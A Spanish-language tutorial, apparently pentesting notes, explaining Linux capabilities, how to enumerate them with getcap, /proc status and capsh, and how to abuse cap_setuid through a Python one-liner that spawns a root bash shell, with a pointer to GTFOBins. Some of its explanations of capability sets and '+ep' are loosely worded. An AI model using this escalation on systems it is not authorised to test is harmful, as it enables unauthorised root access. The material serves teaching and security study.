Capabilitie Abuse
Linux privilege Escalation
Entendiendo las “capabilities” en Linux (de forma más relajada)
En Linux existe una forma bastante buena de dar ciertos permisos a procesos sin necesidad de convertirlos en root, y eso se llama capabilities. Básicamente, en lugar de darle a un programa todo el poder de root (que es un riesgo grande), le das solo los permisos que necesita y listo. Más seguro, más controlado.
Las capabilities se dividen en tres tipos principales:
Efectivas (effective): son los permisos que el proceso realmente puede usar. Si un proceso tiene
CAP_NET_ADMIN, puede cambiar configuraciones de red, por ejemplo.Heredables (inheritable): son los permisos que los procesos hijos pueden recibir del padre. Si el padre tiene
CAP_NET_ADMINcomo heredable, el hijo también puede obtenerlo.Permitidas (permitted): son como el conjunto total de permisos posibles que un proceso puede llegar a usar. Incluye tanto los efectivos como los heredables. Si no están en este grupo, no se pueden usar.
Ahora bien, algunas capabilities son medio peligrosas si terminan en las manos equivocadas. Por ejemplo, cap_setuid permite cambiar el ID de usuario de un proceso… y eso puede dar lugar a que se ejecute código con permisos elevados, lo cual no es buena idea si hay un atacante de por medio.
¿Cómo se revisan las capabilities de un archivo?
Con el comando getcap. Por ejemplo:
bashCopiarEditargetcap /usr/bin/pingY podrías ver algo como esto:
bashCopiarEditar/usr/bin/ping = cap_net_admin,cap_net_raw+epEso quiere decir que ese archivo puede administrar la red y enviar paquetes crudos (lo típico de ping), y además tiene el bit de ejecución elevado.
¿Y si quiero asignar una capability?
Usás setcap, así:
bashCopiarEditarsudo setcap cap_net_admin+ep /usr/bin/my_programCon eso, tu programa llamado my_program va a poder tocar configuraciones de red como si fuera un admin, sin ser root.
¿Qué es eso del +ep?
+ep?Ese +ep significa que el archivo tiene permisos de ejecución elevados, o sea que puede usar las capabilities que le asignaste sin importar los permisos del usuario que lo ejecuta. Es como decirle al sistema: “Confío en este binario, dejalo hacer lo que necesita”.
Pero ojo, aunque le pongas estas capabilities a un archivo, otras herramientas como AppArmor o SELinux pueden seguir controlando lo que puede hacer, dependiendo de cómo estén configuradas. Así que las capabilities son poderosas, pero no lo son todo.
enumerando las capabilities
getcap -r / 2>/dev/nullnos dirá que binario tiene capabilities asignadas y los nombres
también podemos hacerlo así :
ps -faux # copiamos el PID del proceso que queremos ver las capabilities
cat /proc/PID/status | grep Cap
capsh --decode=El_codigo_que_sale_al_ejecutar_el_comando_anterior_comunmente_es_el_capPrmotra forma :
getpcaps PIDvamos a poner unos ejemplos de como explotar algunas de las caps
cap_setuid+ep : nos deja controlar el identificador de usuario ejemplo explotando esta cap con Python :
python -c 'import os; os.setuid(0); os.system("bash")'
# nos dara la consola de bash con roottambién podemos buscar formas de explotar caps con gtfobins
GTFOBins: https://gtfobins.github.io/
Last updated